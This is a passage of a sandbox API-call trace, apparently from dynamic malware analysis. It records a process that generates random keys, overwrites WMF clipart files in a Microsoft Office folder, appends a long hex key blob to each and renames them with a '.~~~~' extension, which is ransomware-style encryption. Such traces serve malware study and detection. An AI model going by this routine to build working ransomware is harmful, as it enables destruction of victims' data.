	[0099.208] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.208] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.208] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.208] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.208] CloseHandle (hObject=0x11c) returned 1
	[0099.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2971050
	[0099.208] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf.~~~~")) returned 1
	[0099.209] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2971050 | out: hHeap=0x300000) returned 1
	[0099.209] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0099.209] GetLastError () returned 0x0
	[0099.210] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0099.211] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0099.211] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.211] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0099.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0099.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0099.211] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21920098371) returned 1
	[0099.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa4d4ce90, dwHighDateTime=0x1d60e1e)) 
	[0099.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0099.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0099.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0099.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2918
	[0099.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0099.211] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2918 | out: hHeap=0x300000) returned 1
	[0099.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0099.211] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2971050
	[0099.211] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0099.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2860510
	[0099.211] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2971050 | out: hHeap=0x300000) returned 1
	[0099.211] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0099.212] GetLastError () returned 0x0
	[0099.212] GetLastError () returned 0x0
	[0099.212] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0099.212] GetLastError () returned 0x0
	[0099.212] GetLastError () returned 0x0
	[0099.214] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffe5a0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.214] WriteFile (in: hFile=0x11c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x1a60, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x1a60, lpOverlapped=0x0) returned 1
	[0099.215] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0099.215] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.215] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.215] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.215] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.215] CloseHandle (hObject=0x11c) returned 1
	[0099.215] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2970f00
	[0099.215] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf.~~~~")) returned 1
	[0099.216] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2970f00 | out: hHeap=0x300000) returned 1
	[0099.216] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0099.216] GetLastError () returned 0x0
	[0099.216] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0099.217] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0099.217] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.217] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0099.217] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0099.217] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0099.218] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21920765831) returned 1
	[0099.218] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa4d4ce90, dwHighDateTime=0x1d60e1e)) 
	[0099.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0099.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0099.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0099.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a28e0
	[0099.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0099.218] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a28e0 | out: hHeap=0x300000) returned 1
	[0099.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0099.218] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2970f00
	[0099.218] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0099.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28605a8
	[0099.218] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2970f00 | out: hHeap=0x300000) returned 1
	[0099.218] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0099.218] GetLastError () returned 0x0
	[0099.218] GetLastError () returned 0x0
	[0099.218] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0099.218] GetLastError () returned 0x0
	[0099.219] GetLastError () returned 0x0
	[0099.235] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffd678, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.235] WriteFile (in: hFile=0x11c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x2988, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x2988, lpOverlapped=0x0) returned 1
	[0099.239] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0099.239] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.239] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.239] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.239] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.239] CloseHandle (hObject=0x11c) returned 1
	[0099.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2970f00
	[0099.240] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf.~~~~")) returned 1
	[0099.241] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2970f00 | out: hHeap=0x300000) returned 1
	[0099.241] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0099.241] GetLastError () returned 0x0
	[0099.242] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0099.243] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0099.243] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.243] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0099.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0099.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0099.243] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21923305771) returned 1
	[0099.243] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa4d99150, dwHighDateTime=0x1d60e1e)) 
	[0099.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0099.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0099.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0099.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2800
	[0099.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0099.243] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2800 | out: hHeap=0x300000) returned 1
	[0099.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0099.243] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2970f00
	[0099.243] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0099.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2860640
	[0099.244] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2970f00 | out: hHeap=0x300000) returned 1
	[0099.244] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0099.244] GetLastError () returned 0x0
	[0099.244] GetLastError () returned 0x0
	[0099.244] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0099.244] GetLastError () returned 0x0
	[0099.244] GetLastError () returned 0x0
	[0099.249] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff9ef4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.249] WriteFile (in: hFile=0x11c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x610c, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x610c, lpOverlapped=0x0) returned 1
	[0099.250] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0099.252] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.252] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.252] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.252] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.252] CloseHandle (hObject=0x11c) returned 1
	[0099.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2970f00
	[0099.252] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf.~~~~")) returned 1
	[0099.253] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2970f00 | out: hHeap=0x300000) returned 1
	[0099.253] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0099.253] GetLastError () returned 0x0
	[0099.254] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0099.254] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0099.254] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.254] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0099.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0099.255] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0099.255] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21924471460) returned 1
	[0099.255] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa4d99150, dwHighDateTime=0x1d60e1e)) 
	[0099.255] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0099.255] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0099.255] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0099.255] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2790
	[0099.255] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0099.255] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2790 | out: hHeap=0x300000) returned 1
	[0099.255] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0099.255] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.255] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2970f00
	[0099.255] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0099.255] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28608a0
	[0099.255] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2970f00 | out: hHeap=0x300000) returned 1
	[0099.255] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0099.255] GetLastError () returned 0x0
	[0099.256] GetLastError () returned 0x0
	[0099.256] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0099.256] GetLastError () returned 0x0
	[0099.256] GetLastError () returned 0x0
	[0099.275] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffbf94, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.275] WriteFile (in: hFile=0x11c, lpBuffer=0x292b060*, nNumberOfBytesToWrite=0x406c, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x292b060*, lpNumberOfBytesWritten=0x1f8fec0*=0x406c, lpOverlapped=0x0) returned 1
	[0099.276] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x292b060 | out: hHeap=0x300000) returned 1
	[0099.276] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.276] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.277] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.277] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.277] CloseHandle (hObject=0x11c) returned 1
	[0099.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0099.277] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf.~~~~")) returned 1
	[0099.278] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.278] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0099.278] GetLastError () returned 0x0
	[0099.278] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0099.279] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0099.279] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.279] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0099.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0099.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0099.279] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21926917905) returned 1
	[0099.279] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa4de5410, dwHighDateTime=0x1d60e1e)) 
	[0099.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0099.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0099.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0099.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a96c0
	[0099.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0099.279] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a96c0 | out: hHeap=0x300000) returned 1
	[0099.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0099.279] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.280] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0099.280] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0099.280] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28609d0
	[0099.280] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.280] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0099.280] GetLastError () returned 0x0
	[0099.280] GetLastError () returned 0x0
	[0099.280] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0099.280] GetLastError () returned 0x0
	[0099.280] GetLastError () returned 0x0
	[0099.315] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffbfd0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
